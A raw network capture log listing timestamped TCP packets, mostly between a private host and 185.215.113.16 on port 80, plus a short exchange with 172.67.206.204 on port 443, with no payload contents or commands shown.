Oct 22, 2024 19:25:17.457268953 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457283974 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457287073 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457303047 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457318068 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457324982 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457334995 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.457345963 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457366943 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.457405090 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461065054 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461112976 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461128950 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461143970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461174965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461245060 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461278915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461302996 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461303949 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461323977 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461333036 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461335897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461340904 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461353064 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461361885 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461369038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461386919 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461400986 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461420059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461436987 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461441040 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461452961 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461460114 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461498976 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461541891 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461544991 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461558104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461575985 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461592913 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461594105 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461611032 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461627960 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461637020 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461643934 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461678982 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461678982 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461684942 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461700916 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461715937 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461720943 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461734056 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461741924 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461750984 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461776018 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461791039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461802959 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461812019 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461812019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461828947 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461834908 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461841106 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461852074 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461872101 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461906910 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461910963 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461922884 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461941004 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461971998 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.461971998 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.461992979 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462028980 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462059021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462075949 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462091923 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462107897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462114096 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462124109 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462141991 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462157965 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462157965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462176085 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462192059 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462203026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462208986 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462222099 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462227106 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462239981 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462248087 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462264061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462276936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462281942 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462301970 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462320089 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462341070 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462382078 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462471008 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462493896 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462511063 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462524891 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462534904 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462542057 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462574959 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462582111 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462610006 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462610960 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462618113 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462625980 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462632895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462635994 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462663889 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462707043 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462712049 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462727070 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462752104 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462764978 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462774038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462791920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462807894 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462806940 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462838888 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462848902 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462866068 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462869883 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462882996 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462897062 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462908983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462913990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462928057 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462929964 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462954044 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462961912 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462961912 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.462970018 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462971926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462979078 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.462984085 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463002920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463021040 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463027954 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463036060 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463053942 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463069916 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463071108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463085890 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463088036 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463115931 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463131905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463133097 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463148117 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463161945 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463164091 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463179111 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463179111 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463196039 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463211060 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463222980 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463227987 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463244915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463262081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463270903 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463278055 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463289022 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463295937 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463319063 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463332891 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463362932 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463392019 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463618994 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463668108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463681936 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463701010 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463718891 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463735104 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463754892 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463773012 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463774920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463810921 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463814974 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463824034 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463829994 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463840961 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463857889 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463867903 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463875055 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463907003 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463920116 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463920116 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463924885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463937998 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.463954926 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463973999 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.463993073 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.468584061 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.468687057 CEST	443	49730	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.468811989 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.469275951 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:17.469314098 CEST	443	49730	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:17.497360945 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.497458935 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.497636080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.501859903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.501888037 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.501904964 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.501941919 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.501965046 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.501970053 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502011061 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502012968 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502027035 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502047062 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502055883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502063036 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502065897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502093077 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502096891 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502110958 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502139091 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502141953 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502156019 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502161026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502175093 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502191067 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502202988 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502204895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.502222061 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.502265930 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.606904030 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.606920004 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.606936932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.606951952 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.606992006 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.606992006 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607067108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607110977 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607126951 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607144117 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607166052 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607167959 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607183933 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607184887 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607198000 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607203007 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607213974 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607230902 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607247114 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607254982 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607264042 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607281923 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607281923 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607305050 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607328892 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607336998 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607346058 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607394934 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607414961 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607440948 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607486963 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607589960 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607605934 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607621908 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607646942 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607650042 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607661963 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607671022 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607677937 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607695103 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607707024 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607709885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607734919 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607742071 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607749939 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607765913 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607774973 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607783079 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607795954 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607809067 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607820988 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607825041 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607848883 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607856035 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607863903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607878923 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607878923 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607896090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607912064 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607918024 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607927084 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607950926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607955933 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607966900 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607974052 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.607981920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607996941 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.607997894 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608021975 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608036995 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608036995 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608052969 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608058929 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608067036 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608083010 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608089924 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608107090 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608119965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608120918 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608144045 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608155966 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608161926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608175993 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608176947 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608194113 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608210087 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608217001 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608227968 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608241081 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608244896 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608259916 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608261108 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608278036 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608294964 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608298063 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608309031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608324051 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608335972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608341932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608355999 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608360052 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608372927 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608376026 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608391047 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608407021 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:17.608411074 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:17.608423948 CEST	80	49728	185.215.113.16	192.168.2.8
